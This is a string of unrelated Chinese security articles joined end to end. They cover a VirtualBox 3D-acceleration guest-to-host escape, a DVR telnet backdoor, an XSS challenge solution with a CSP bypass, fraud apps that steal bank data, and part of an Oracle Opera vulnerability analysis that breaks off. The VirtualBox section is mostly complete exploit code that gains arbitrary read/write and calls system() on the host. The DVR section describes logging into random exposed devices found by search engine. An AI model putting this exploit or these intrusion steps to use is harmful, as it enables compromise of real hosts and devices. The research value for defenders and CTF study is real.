如上代码，我们选择buf1作为`cr_unpackData`，想要通过buf1溢出修改buf2的`uiSize`，调试如下
In file: /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c
79 if (!ppStrings) return;
80
81 for (i = 0; i < count; ++i)
82 {
83 ppStrings[i] = DATA_POINTER(pos, char);
► 84 pos += pLocalLength[i];
85 if (!length)
86 {
87 pLocalLength[i] -= 1;
88 }
89
pwndbg> x /2gx ppStrings
0x7fb890f34ed0: 0x00007fb893001fcc 0x00007fb893001fcd
pwndbg> x /20gx 0x00007fb893001fcd
0x7fb893001fcd: 0x0000000000123456 0x0000000035000000
0x7fb893001fdd: 0x3000007b06000000 0xb893002010000000
0x7fb893001fed: 0xb893001f7000007f 0xb89300205000007f
0x7fb893001ffd: 0x000000000000007f 0x0000000045000000
0x7fb89300200d: 0x6161616161000000 0x6161616161616161
0x7fb89300201d: 0x6262626262626200 0x6300626262626262
0x7fb89300202d: 0x6363636363636363 0x4364690063636363
0x7fb89300203d: 0x000000000065696c 0x0000000035000000
0x7fb89300204d: 0x3000007b07000000 0xb893002080000000
0x7fb89300205d: 0xb893001fe000007f 0xb8930020c000007f
通过上面调试的数据，可以知道，我们的堆风水已经弄好了，现在就是溢出，修改buf2的`uiSize`，我们先通过调试，确定精确的溢出偏移大小，仅达到修改`uiSize`，保证其后面的数据不被破坏
In file: /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c
91 jUpTo = i == count -1 ? pLocalLength[i] - 1 : pLocalLength[i];
92 for (j = 0; j < jUpTo; ++j)
93 {
94 char *pString = ppStrings[i];
95
► 96 if (pString[j] == '\0')
97 {
98 Assert(j == jUpTo - 1);
99 pString[j] = '\n';
100 }
101 }
pwndbg> x /20wx pString+0x3
0x7fb893001fd0: 0x00000000 0x00000000 0x00000035 0x00000000
0x7fb893001fe0: 0x00007b06 0x00000030 0x93002010 0x00007fb8
0x7fb893001ff0: 0x93001f70 0x00007fb8 0x93002050 0x00007fb8
0x7fb893002000: 0x00000000 0x00000000 0x00000045 0x00000000
0x7fb893002010: 0x61616161 0x61616161 0x61616161 0x62620061
我们确定出修改`uiSize`需要0x1B的偏移
如图，buf2的`uiSize`已经成功被修改，现在我们就可以利用buf2修改buf3的`CRVBOXSVCBUFFER_t`结构体，构造任意地址读写原语。由于此处的堆是通过glibc申请的，因此当我们修改`uiSize`后，glibc堆chunk的头部也已经损坏，此时调用到`svcFreeBuffer(pSvcBuffer);`时，在glibc2.23环境下，虚拟机会发生崩溃。因此我们在ubuntu
1804上进行测试，由于glibc 2.27有tcache机制，不会检查chunk的size因此可以在glibc
2.27及以上完成利用。当在glibc2.27及以上环境时，我们换一种方式来布置堆风水
int buf1,buf2,buf3,buf4;
for (int i=0;i<0x4000;i++) {
buf1 = alloc_buf(client,sizeof(msg),msg,sizeof(msg));
buf2 = alloc_buf(client,sizeof(msg),"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",sizeof(msg));
buf3 = alloc_buf(client,sizeof(msg),"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",sizeof(msg));
buf4 = alloc_buf(client,sizeof(msg),"cccccccccccccccccccccccccccccccccccccc",sizeof(msg));
}
crmsg_with_bufid(client,buf1);
这样使得buf1、buf2、buf3、buf4相邻的可能比较大。
现在，我们已经可以通过buf2来控制整个buf3的`CRVBOXSVCBUFFER_t`了，那么我们可以构造出任意地址写的原语
int arb_write(int client,uint64_t addr,uint32_t size,void *buf) {
ArbWrite data = {
.size = size,
.addr = addr
};
//set CRVBOXSVCBUFFER_t's pData and size
write_buf(client,oob_buf,0xa30,0x44,&data,sizeof(data));
//arb write
write_buf(client,arb_buf,size,0,buf,size);
return 0;
}
有了任意地址写的原语以后，我们就要考虑如何构造任意地址读的原语。在`svcCall`中，有一条命令`SHCRGL_GUEST_FN_READ`，
case SHCRGL_GUEST_FN_READ:
{
.........
/* Fetch parameters. */
uint8_t *pBuffer = (uint8_t *)paParms[0].u.pointer.addr;
uint32_t cbBuffer = paParms[0].u.pointer.size;
/* Execute the function. */
rc = crVBoxServerClientRead(u32ClientID, pBuffer, &cbBuffer);
该命令会调用`crVBoxServerClientRead`函数，进一步进入`crVBoxServerInternalClientRead`函数
int32_t crVBoxServerInternalClientRead(CRClient *pClient, uint8_t *pBuffer, uint32_t *pcbBuffer)
{
if (pClient->conn->cbHostBuffer > *pcbBuffer)
{
crDebug("crServer: [%lx] ClientRead u32ClientID=%d FAIL, host buffer too small %d of %d",
crThreadID(), pClient->conn->u32ClientID, *pcbBuffer, pClient->conn->cbHostBuffer);
/* Return the size of needed buffer */
*pcbBuffer = pClient->conn->cbHostBuffer;
return VERR_BUFFER_OVERFLOW;
}
*pcbBuffer = pClient->conn->cbHostBuffer;
if (*pcbBuffer)
{
CRASSERT(pClient->conn->pHostBuffer);
crMemcpy(pBuffer, pClient->conn->pHostBuffer, *pcbBuffer);
pClient->conn->cbHostBuffer = 0;
}
return VINF_SUCCESS;
}
关键的一句代码`crMemcpy(pBuffer, pClient->conn->pHostBuffer,
*pcbBuffer);`，可见该命令的作用是将`pClient->conn->pHostBuffer`中的内容拷贝给Guest，由于现在我们实现了任意地址写，并且`pClient->conn`的地址也已经知道，那么我们可以控制`pHostBuffer`，从而实现任意地址读。
int arb_read(int client,uint64_t conn_addr,uint64_t addr,uint32_t size,void *buf) {
//设置pHostBuffer为目的地址
arb_write(client,conn_addr+OFFSET_CONN_HOSTBUF,0x8,&addr);
//设置size
arb_write(client,conn_addr+OFFSET_CONN_HOSTBUFSZ,0x4,&size);
//通过SHCRGL_GUEST_FN_READ命令读取pHostBuffer指向的内容
return read_hostbuf(client,0x100,buf);
}
现在利用任意地址读，泄露出`CRConnection`中的函数指针
//读取函数指针，泄露地址
arb_read(new_client,conn_addr,conn_addr + OFFSET_ALLOC_FUNC_PTR,8,buff);
uint64_t alloc_addr = *((uint64_t *)buff);
printf("alloc_addr=0x%lx\n",alloc_addr);
当我们调试时，发现当我们的程序运行完毕以后，虚拟机就是崩溃
pwndbg> k
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1 0x00007f0b1da41921 in __GI_abort () at abort.c:79
#2 0x00007f0b1da8a967 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7f0b1dbb7b0d "%s\n") at ../sysdeps/posix/libc_fatal.c:181
#3 0x00007f0b1da919da in malloc_printerr (str=str@entry=0x7f0b1dbb9818 "double free or corruption (out)") at malloc.c:5342
#4 0x00007f0b1da98f6a in _int_free (have_lock=0, p=0x7f0abb1470a0, av=0x7f0b1ddecc40 <main_arena>) at malloc.c:4308
#5 __GI___libc_free (mem=0x7f0abb1470b0) at malloc.c:3134
#6 0x00007f0b2051da8f in RTMemFree (pv=<optimized out>) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Runtime/r3/alloc.cpp:262
#7 0x00007f0abaf25c4f in crFree (ptr=<optimized out>) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/mem.c:128
#8 0x00007f0abaf385c9 in _crVBoxCommonDoDisconnectLocked (conn=0x7f0a04b05f50) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/vboxhgcm.c:1370
#9 crVBoxHGCMDoDisconnect (conn=0x7f0a04b05f50) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/GuestHost/OpenGL/util/vboxhgcm.c:1412
#10 0x00007f0abb171909 in crVBoxServerRemoveClientObj (pClient=0x7f0a05bd8d70) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:677
#11 crVBoxServerRemoveClient (u32ClientID=43) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:716
#12 0x00007f0abb160945 in svcDisconnect (u32ClientID=<optimized out>, pvClient=<optimized out>) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/crserver/crservice.cpp:144
#13 0x00007f0afdaa1eb4 in hgcmServiceThread (pThread=0x7f0ab0003a60, pvUser=0x7f0ab0003900) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCM.cpp:684
#14 0x00007f0afda9fd5f in hgcmWorkerThreadFunc (hThreadSelf=<optimized out>, pvUser=0x7f0ab0003a60) at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Main/src-client/HGCMThread.cpp:200
#15 0x00007f0b204b5e7c in rtThreadMain (pThread=pThread@entry=0x7f0ab0003c90, NativeThread=NativeThread@entry=139684077311744, pszThreadName=pszThreadName@entry=0x7f0ab0004570 "ShCrOpenGL") at /home/sea/Desktop/VirtualBox-6.0.0/src/VBox/Runtime/common/misc/thread.cpp:719
通过栈回溯发现，是因为`pHostBuffer`在`disconnect`时，被`free`了，由于`pHostBuffer`被我们指向了任意地址，因此不会是一个合法的`chunk`。但是想到我们并没有对`HGCM`进行`disconnect`操作，经过研究发现只要我们的程序结束运行，`HGCM`就会自动断开。因此解决方法有很多，一种是不让我们的程序结束，结尾放一个死循环；另一种是将`disconnect`函数指针指向附近的`retn`指令，使得执行该指令时什么都不做。这里我使用的是第二种方法，因此我们的任意地址读原语
int arb_read(int client,uint64_t conn_addr,uint64_t addr,uint32_t size,void *buf) {
char val = 0x64;
//防止disconnect时free pHostBuffer时崩溃，我们将disconnect函数指针指向附近的retn指令处
arb_write(client,conn_addr+OFFSET_DISCONN_FUNC_PTR,0x1,&val);
//设置pHostBuffer为目的地址
arb_write(client,conn_addr+OFFSET_CONN_HOSTBUF,0x8,&addr);
//设置size
arb_write(client,conn_addr+OFFSET_CONN_HOSTBUFSZ,0x4,&size);
//通过SHCRGL_GUEST_FN_READ命令读取pHostBuffer指向的内容
stop();
return read_hostbuf(client,0x100,buf);
}
### getshell
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include "chromium.h"
#include "hgcm.h"
#define OFFSET_ALLOC_FUNC_PTR 0xD0
#define OFFSET_DISCONN_FUNC_PTR 0x128
#define OFFSET_PCLIENT 0x248
#define CRVBOXSVCBUFFER_SIZE 0x20
#define OFFSET_CONN_HOSTBUF 0x238
#define OFFSET_CONN_HOSTBUFSZ 0x244
typedef struct LeakClient {
int new_client;
uint64_t client_addr;
uint64_t conn_addr;
} LeakClient;
typedef struct ArbWrite {
uint32_t size;
uint64_t addr;
} ArbWrite;
LeakClient leak_client(int client) {
//heap spray
for (int i=0;i<600;i++) {
alloc_buf(client,0x298,"CRConnection_size_fill",23);
}
for (int i=0;i<600;i++) {
alloc_buf(client,0x9d0,"CRClient_size_fill",23);
}
//CRClient和CRConnection结构体将被创建
int new_client = hgcm_connect("VBoxSharedCrOpenGL");
for (int i=0;i<600;i++) {
alloc_buf(client,0x298,"CRConnection_size_fill",23);
}
for (int i=0;i<600;i++) {
alloc_buf(client,0x9d0,"CRClient_size_fill",23);
}
//释放CRClient和CRConnection结构体
hgcm_disconnect(new_client);
uint32_t msg[] = {CR_MESSAGE_OPCODES, //type
0x66666666, //conn_id
1, //numOpcodes
CR_EXTEND_OPCODE << 24,
OFFSET_PCLIENT, //packet_length
CR_GETUNIFORMLOCATION_EXTEND_OPCODE, //extend opcode
0, //program
*(uint32_t *)"leak" //name
};
//将crmsg的unpack_buffer申请占位到之前的CRConnection结构体位置，从而进行数据泄露
crmsg(client,0x298,msg,sizeof(msg));
uint64_t client_addr = *(uint64_t *)(crmsg_buf+0x10);
uint64_t conn_addr = client_addr + 0x9e0;
//重新将新的CRClient和CRConnection结构体占位与此
new_client = hgcm_connect("VBoxSharedCrOpenGL");
LeakClient lc = {
.new_client = new_client,
.client_addr = client_addr,
.conn_addr = conn_addr
};
return lc;
}
int stop() {
char buf[0x10];
write(1,"stop",0x5);
read(0,buf,0x10);
}
int oob_buf;
int arb_buf;
int make_oob_buf(int client) {
uint32_t msg[] = {CR_MESSAGE_OPCODES, //type
0x66666666, //conn_id
1, //numOpcodes
CR_EXTEND_OPCODE << 24,
0x12345678,
CR_SHADERSOURCE_EXTEND_OPCODE, //extend opcode
0, //shader
2, //count
0, //hasNonLocalLen
0x1,0x1B, // *pLocalLength
0x12345678 //padding
};
//heap spray
int buf1,buf2,buf3,buf4;
for (int i=0;i<0x5000;i++) {
buf1 = alloc_buf(client,sizeof(msg),msg,sizeof(msg));
buf2 = alloc_buf(client,sizeof(msg),"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",sizeof(msg));
buf3 = alloc_buf(client,sizeof(msg),"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",sizeof(msg));
buf4 = alloc_buf(client,sizeof(msg),"cccccccccccccccccccccccccccccccccccccc",sizeof(msg));
}
crmsg_with_bufid(client,buf1);
//generate a new id
char *buf2_id = (char *)&buf2;
for (int i=0;i<4;i++) {
if (buf2_id[i] == '\0') buf2_id[i] = '\n';
}
//now buf2 was corrupted
oob_buf = buf2;
arb_buf = buf3;
return 0;
}
int arb_write(int client,uint64_t addr,uint32_t size,void *buf) {
ArbWrite data = {
.size = size,
.addr = addr
};
//set CRVBOXSVCBUFFER_t's pData and size
write_buf(client,oob_buf,0xa30,0x44,&data,sizeof(data));
//arb write
write_buf(client,arb_buf,size,0,buf,size);
return 0;
}
int arb_read(int client,uint64_t conn_addr,uint64_t addr,uint32_t size,void *buf) {
char val = 0x64;
//防止disconnect时free pHostBuffer时崩溃，我们将disconnect函数指针指向附近的retn指令处
arb_write(client,conn_addr+OFFSET_DISCONN_FUNC_PTR,0x1,&val);
//设置pHostBuffer为目的地址
arb_write(client,conn_addr+OFFSET_CONN_HOSTBUF,0x8,&addr);
//设置size
arb_write(client,conn_addr+OFFSET_CONN_HOSTBUFSZ,0x4,&size);
//通过SHCRGL_GUEST_FN_READ命令读取pHostBuffer指向的内容
stop();
return read_hostbuf(client,0x100,buf);
}
unsigned char buff[0x100] = {0};
int main() {
int idClient = hgcm_connect("VBoxSharedCrOpenGL");
printf("idClient=%d\n",idClient);
set_version(idClient);
//泄露出CRConnection的地址
LeakClient leak = leak_client(idClient);
int new_client = leak.new_client;
set_version(new_client);
uint64_t conn_addr = leak.conn_addr;
printf("new_client=%d new_client's CRClient addr=0x%lx CRConnection addr=0x%lx\n",new_client,leak.client_addr,conn_addr);
//制造OOB对象
make_oob_buf(new_client);
hgcm_disconnect(idClient);
//读取函数指针，泄露地址
arb_read(new_client,conn_addr,conn_addr + OFFSET_ALLOC_FUNC_PTR,8,buff);
uint64_t alloc_addr = *((uint64_t *)buff);
printf("alloc_addr=0x%lx\n",alloc_addr);
uint64_t VBoxOGLhostcrutil_base = alloc_addr - 0x209d0;
uint64_t abort_got = VBoxOGLhostcrutil_base + 0x22F0B0;
arb_read(new_client,conn_addr,abort_got,8,buff);
uint64_t abort_addr = *((uint64_t *)buff);
printf("abort_addr=0x%lx\n",abort_addr);
uint64_t libc_base = abort_addr - 0x407e0;
uint64_t system_addr = libc_base + 0x4f550;
printf("libc_base=0x%lx\n",libc_base);
printf("system_addr=0x%lx\n",system_addr);
//修改disconnect函数指针为system地址
arb_write(new_client,conn_addr+OFFSET_DISCONN_FUNC_PTR,0x8,&system_addr);
char *cmd = "/usr/bin/galculator";
arb_write(new_client,conn_addr,strlen(cmd)+1,cmd);
//getshell
hgcm_disconnect(new_client);
}
效果如下
有关我前面分析到的`HGCM`协议和`Chromium`协议使用的C语言版的3dpwn库在我的[github](https://github.com/ha1vk/3dpwn_c)，欢迎大家来个star。
## 0x03 感想
第一次完成了VirtualBox的虚拟机逃逸，收获很多，成就感也很大。在安全研究的这条路上还要走很远，加油。
## 0x04 参考
[Breaking Out of VirtualBox through 3D
Acceleration](https://www.coresecurity.com/sites/default/files/private-files/publications/2016/05/corelabs-Breaking_Out_of_VirtualBox_through_3D_Acceleration-Francisco_Falcon.pdf)
[48小时逃逸Virtualbox虚拟机——记一次CTF中的0day之旅](https://zhuanlan.zhihu.com/p/58910752)
[Virtual-Box-Exploitation-2](https://matshao.com/2019/05/20/Virtual-Box-Exploitation-2/)
[Better slow than sorry – VirtualBox 3D acceleration considered
harmful](https://phoenhex.re/2018-07-27/better-slow-than-sorry)
[利用Chromium漏洞夺取CTF胜利：VitualBox虚拟机逃逸漏洞分析（CVE-2019-2446）](https://blog.csdn.net/systemino/article/details/89716780)
[3dpwn](https://github.com/niklasb/3dpwn) | 社区文章 |
### 前言
在康拓DVR中，存在一个Telnet后门，可以导致监控设备被控制甚至内网被渗透的风险。
下面来分析一下这个后门,没有什么技术含量。
### 漏洞分析
后门存于在Telnetd文件中，Telnetd负责开启telnet并提供服务，在这里我们可以看到在开了Telnet服务后，对用户的连接进行了监听，如果登录的用户长时间不操作就会登录超时，然后是一系列的服务准备处理函数。
在我们启用了Telnetd服务后，也就是开启了telnet后，程序会判断启动程序是否在终端机器里面运行，如果是则进行下一步，否则就会退出，输出UNKNOW。
在通过了本机环境验证后，程序会开始提取用户的登录数据，并保存在内存中
在最后一切的前戏都准备完毕后，程序开始步入正题，进入登录操作
程序开始初始化帐号密码变量，函数sub_12880创建缓存
在返回登录用户数据之前，程序做了一个动作，那就是输出Telnet的登录密码，这里为了直观，把函数改为了Print_Password,这个函数就是这个后门的关键点了，这个函数对登录密码进行了打印，我们跟进Print_Password函数看看。
在这个函数里面有3个函数sub_11BE8、sub_126B8、sub_1276C，这三个函数不知道干嘛的，我们先跟进函数sub_11BE8看看
可以看到，这个有点像MD5的4个幻数定义的特征，再分析一下后两个函数，更加验证了这个是一个MD5算法，这里就不贴图了。
最后将密码给打印在了登录页面上
到这一步，就没有再跟下去的必要了。
### 相关利用
经过上面的分析，现在整个过程就已经很清晰了
现在我们在搜索引擎里面搜索一下,随便找一个IP进行尝试
对搜索到的IP进行Telnet连接,然后程序会直接返回给我们一个密码，我们直接输入上面给的密码就可以直接登录了。
### 最后
这个“后门”不知是厂家故意留的，还是在调试的时候未注释掉这行代码所导致的问题。不过可以肯定的是安全风险是很严重的。 | 社区文章 |
最近刷推特看到一个有趣的xss挑战，链接是：
<https://twitter.com/intigriti/status/1249662911540350977>
挑战地址：
<https://challenge.intigriti.io/>
# 0x00 题目介绍
首先大致介绍下题目后续利用会使用到的点和一些编码转换的地方
**1\. 主要Js代码：**
var hash = document.location.hash.substr(1);
if(hash){
displayReason(hash);
}
document.getElementById("reasons").onchange = function(e){
if(e.target.value != "")
displayReason(e.target.value);
}
function reasonLoaded () {
var reason = document.getElementById("reason");
reason.innerHTML = unescape(this.responseText);
}
function displayReason(reason){
window.location.hash = reason;
var xhr = new XMLHttpRequest();
xhr.addEventListener("load", reasonLoaded);
xhr.open("GET",`./reasons/${reason}.txt`);
xhr.send();
}
主要操作是将location.hash作为ajax的url去查找对应的txt，并且直接放入div id是reason 的innerHTML中。
**2\. 404页面**
请求404页面返回content-type: text/html，但url编码后%会被过滤（气），不能直接xss
**3\. CSP规则：**
此处使用的csp规则为default-src 'self' ，只允许加载与自身同源的js，不过绕过方式可以使用jsonp回调等进行绕过。
**4\. 403页面会进行html实体编码**
# 0x01 xss构造流程
**1\. 页面构造出" <>"**
首先注意到在js中会进行unescape。此处可结合403页面构造，403页面通过2次url编码后不进行html编码，也不会过滤 %
经过unescape之后会可以直接插入html中，如以下的html内容
但是注意此处ajax必须要访问/reasons/,而403页面是在/下面的的，此处需要通过../绕过
这样就可以构成页面注入内容。
**2.Js执行**
此处不可以直接注入`<script>`标签，原因是在html5对innerHTML的限制
此处可通过iframe的srcdoc进行绕过innerHTML的限制，本地测试js内容如下：
reason.innerHTML = unescape("<iframe srcdoc=\"<script src=./2.js></script>\"</iframe>");
其中2.js内容为alert（1）。打开后直接进行alert
**3.CSP绕过**
下一步是绕过csp，类似jsonp的回调绕过CSP，此处绕过的思路是结合404页面构造。此处闭合404内容即可，url如下：
<https://challenge.intigriti.io/';alert(document.domain>);'
返回结果如下：
404 - 'File "';alert(document.domain);'" was not found in this folder.'
并且可执行
去掉CSP本地测试下：
reason.innerHTML = unescape("<iframe srcdoc=\"<script src=https://challenge.intigriti.io/';alert(document.domain);'></script>\"</iframe>");
# 0x02 最终结果
最终构造xss的路径为：
1. 通过../重定向请求url到/.ht_wsr.txt，构造403页面
2. /.ht_wsr.txt后追加二次url编码的payload，经过服务端编码和unescape后输入在页面的innerHTML中
3. 通过iframe的srcdoc解决innerHTML执行js问题
4. 通过404页面的报错内容构造js内容，绕过CSP
最终payload：
<https://challenge.intigriti.io/#../.ht_wsr.txt%253Ciframe%20srcdoc=%2522%253cscript%20src=/%27;alert(document.domain);%27%253E%253C%252fscript%253E%2522%253E>
参考链接：
<https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML>
<https://github.com/whatwg/html/issues/2300> | 社区文章 |
# 反诈骗之旅（一）：仿冒公安政务
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期，暗影移动安全实验室在日常监测中，发现了一批冒充“公安部”、“网上安全认证”、“公安局智能警务系统”等应用程序名称的诈骗类APP，研究人员分析发现，这批诈骗APP的目的是窃取用户个人信息（银行卡号、身份证末尾4位、认证卡号、安全码、卡背后3位、交易密码、手机号码、通讯录、短信等），然后上传至VPS服务器，涉及银行卡类型多达33种，VPS服务器主要分布在英国、加拿大、新加坡、荷兰，该类恶意程序危害极高，影响极其恶劣。
图1 诈骗APP运行界面
诈骗团伙：你是**吗？我是公安局的王警官，我们最近在调查一起跨国洗钱案件，发现你的账户疑似涉入其中
受害 者：你们是不是搞错了…
诈骗团伙：不会有错的，你已经上通缉令了，你可以下载“公安局智能警务系统”查看,稍后通过短信发送与你
受害 者：多谢警官，我一定好好配合
诈骗团伙：你现在“公安局智能警务系统”填写你的银行账户信息，需要对你的账户做冻结处理
受害 者：好的，马上马上
几天过去了，王警官的电话再也没有响起过，小林也不断的收到银行的通知短信“您账户8888于10月23日12:00交易人民币200000.00”
## 1、基本信息
样本MD5：2AEB5A0CFFCEDFE1395774C6DA65C225
安装名称：安全防护
样本包名：www.online157.com
## 2、运行原理
程序启动后主要是引导用户输入查询文号，或者诱骗用户网银加密，实则是引导用户输入银行卡相关信息（银行卡号、银行卡密码、预留手机号等），并且在用户未授权情况下获取用户手机联系人通讯录、通话记录、短信息以及必要的固件信息等，并将以上信息全部上传到指定服务器，该过程包含了用户直接输入的大量敏感信息以及私自窃取的用户信息，黑客可以通过以上信息登录用户网银并且盗刷或者转走用户的账户余额。
图2 运行流程图
## 3、代码分析
（1）获取用户通讯录、短信、通话记录直接上传
程序启动后判断是真机则直接获取用户固件信息、通讯录、通话记录、短信息并上传到指定服务器。
图3 启动后上传通话记录、通讯录、短信息
获取用户通话记录：
图4 获取用户通话记录
图5 上传通话记录数据包
获取用户通讯录联系人：
图6 获取用户通讯录联系人
图7 上传通讯录联系人数据包
获取用户短信：
图8 获取用户短信息
图9 上传用户短信数据包
获取用户信息的服务器地址：
通讯录信息：http://136.**.***.157/msky/v1.0/callrecord/
短信信息：http://136.**.***.157/msky/v1.0/sms/
联系人信息：http://136.**.**.157/msky/v1.0/contact/
图10 窃取信息服务器地址
（2）诱导用户输入文号查询、银行卡号、手机号、密码等信息
图11 诱导用户输入信息
诱骗用户输入的银行卡信息：
图12 诱骗用户输入的敏感信息
银行卡可选其他信息：
图13 银行卡其他信息
用户输入的文号签证
图14 文号信息输入
上传文号信息数据包：
图15 上传文号信息数据包
（3）拦截并上传用户短信：
图16 拦截并上传用户短信
## 4、同源分析
表1 同源样本信息
序号 | MD5 | 安装名 | 包名
---|---|---|---
1 | 0E7F4C3E4F1D3F82F24005E504A6909A | BỘ CÔNG AN | www.com.rel113
2 | 938A283270AC170D0B69CAFF2EC73DB6 | BỘ CÔNG AN | www.tabcol166.com
3 | 06FC6117E91A8EBB1967E9E315F5A575 | 安全防护 | www.com.cctv50
4 | 0DBA70992406A3B866FA7866D010936B | 安全防护 | zxc.xyz.abc.msky
5 | 0007C4F6161AE024CCEAD94C07DF7ADB | 公安防护 | sdr.edc.abc.msky
6 | 1F519EE45BFC0273DA27D77C4255869A | 公安防护 | www.com.answer114
表2服务器地址信息
服务器地址 | 归属地 | 反查
---|---|---
144.**.**.38 | 加拿大 | 1*.ip-54-39-23.net
45.**.**.226 | 英国 | 5*.deployments.pbxact.com
149.**.**.161 | 新加坡 | c*.mp3terbaru.site
23.**.**.103 | 荷兰 | d*.aircooll.co
## 5、防范及处置建议
（1）用户下载APP应前往官网或正规应用商店，尤其是个税、银行、理财等涉及大量个人隐私信息或个人财产的APP，官网下载要重点关注搜索页面相关官网认证标识，在应用商店下载还须仔细查看应用公示的开发者信息。此外，APP软件版本信息也尽量在多个下载渠道进行反复比对，多方面结合来认证识别，避免下载到仿冒APP。
（2）安装APP过程中，用户须仔细阅读应用申请的权限，如果发现存在与功能完全无关的权限，一定要谨慎安装。例如，游戏APP需要获取用户通话记录信息、短信记录信息，手电筒等工具类应用须获取联系人信息、位置信息等，都属于过度权限申请问题，如不是必须安装的APP，建议不要尝试安装，以防遭遇仿冒APP。另外，如果还是安装了这类APP，也可以到手机设置中的应用管理中将对应应用的敏感权限关闭，对于强制要求打开与功能无关的敏感权限的APP，建议用户果断卸载。
（3）使用APP过程中，对于个人隐私或金融账号的填写一定要慎重，能够填写模糊信息就不要填写精确信息，对于选填项目不要填写，防范个人隐私的泄露及财产损失，若确实遭遇仿冒APP并在使用过程遭遇经济损失或严重隐私泄露问题，应及时报警，避免损失扩大。
（4）关注”暗影实验室”公众号，获取最新移动安全动态。
（5）当发现感染手机病毒软件之后，可以向“12321网络不良与垃圾信息举报受理中心”或“中国反网络病毒联盟”进行举报，使病毒软件能够第一时间被查杀和拦截。 | 社区文章 |
# 【漏洞分析】Oracle酒店管理平台的远程命令执行和持卡人数据解密漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：jackson.thuraisamy.me
原文地址：<http://jackson.thuraisamy.me/oracle-opera.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **ResoLutiOn**
****](http://bobao.360.cn/member/contribute?uid=2606886003)
**预估稿费：200RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
近期，我发现在一些大型商务酒店所使用的前台数据管理系统（Oracle
Opera）中存在多个安全漏洞。黑客可利用这些漏洞，进行酒店订房App提权，以获得更高的用户使用权限；同时还能够进入酒店管理网络的后台数据库及操作系统，实施RCE攻击。攻击者利用这些漏洞，可在未经身份验证的情况下，进入Oracle
Opera数据库系统，盗取酒店顾客的身份信息、电话号码等隐私数据。据悉，甲骨文公司（Oracle）已经接到了漏洞相关情况的报告，及时对漏洞进行了修复，并发布了漏洞报告，在其中详细描述了漏洞的具体情况。[[报告传送门]](http://www.oracle.com/technetwork/security-advisory/cpuoct2016verbose-2881725.html#HOSP)
**Oracle Opera系统简介**
Oracle Opera（也称为Opera PMS，前身为Micros
Opera）是由甲骨文旗下的子公司Micros为全球范围内各大商务酒店量身打造的一款酒店前台操作系统。它能为酒店管理层和员工提供全方位、系统化的管理工具，以便其能快捷高效地处理客户资料、顾客预订、入住退房、客房分配、房内设施管理以及账户账单管理等日常工作。凯悦（Hyatt）、希尔顿（Hilton）等全球知名酒店使用的均是Opera
PMS操作系统。
在顾客完成费用支付的过程中，该应用程序会将顾客的银行卡的相关信息，包括：PAN码（信用卡账户编号）、失效日期、持卡人姓名等，保存在系统后台的数据库中。目前，相关安全人员已披露了3种能够进入该后台数据库的攻击方式。一旦攻击者拿到了该数据库的登录权限，他便能盗取并解密其中保存的隐私数据。
经过分析后我发现，用户数据之所以会遭到黑客窃取，问题主要出在Opera
PMS系统本身，而与用户的操作无关；同时，如果仅使用黑盒测试是无法唯一确定漏洞的性质的。不同于以往的漏洞解决方案（供应商接到漏洞报告，并通过内部测试的方法修复漏洞），由于Opera
PMS系统供应商向广大用户提供了详尽的解决方案，这便给黑客攻击Opera
PMS系统创造了巨大的空间。攻击者很容易知晓该软件存在的缺陷，并可对其合法性进行分析测试。在经过相应的动态分析和静态分析之后，攻击者便能找到“进入”该系统数据库的最佳切入点。
**漏洞详解**
**No.1 CVE-2016-5665:窃取系统日志文件，实施会话劫持**
在用户登录Oracle Opera系统后，他们可以选择其中一个系统接口进行交互会话。启动其中接口的请求中包含了用户会话令牌、特定接口启动参数等相关信息。
这里存在一个问题，即：由于系统会将用于实现用户交互的会话令牌和其他参数放置在一个目录文件中，而黑客在未经身份验证的情况下，便能通过Web服务器访问该文件。这便是威胁所在。
而黑客所需要做的便是“守株待兔”，等待一位具有系统管理员身份的用户登录Opera。待该用户登陆成功之后，他便可通过应用程序，拿到系统的所有操作权限，对其中的数据进行任意操作。因为系统管理员具有较高的系统使用权限，能够对数据库中的数据进行查询、修改和删除等重要操作。一旦攻击者拿到了管理员权限，那么数据泄漏则无法避免。
需要说明的是，攻击者往往不会采用上述的方法来窃取用户信息，因为它速度太慢且不够“安全”，容易被识破。系统将用户提交的每一项查询语句保存于应用层。相比于使用Oracle
Form提供的用户交互接口，直接与数据库服务器建立连接的方式要快得多，可以提高效率。
**No.2 CVE-2016-5664:攻击者可泄漏系统数据库的凭证信息**
若攻击者与数据库服务器共用一个网络，那么他便可通过构造一个数据库连接字符串的方式，盗取数据库的相关凭证。因为在Oracle
Opera系统中，数据库凭证以及服务名等信息，是通过系统向服务器发送一个已经经过验证的HTML请求的方式返回的，用来启用Oracle
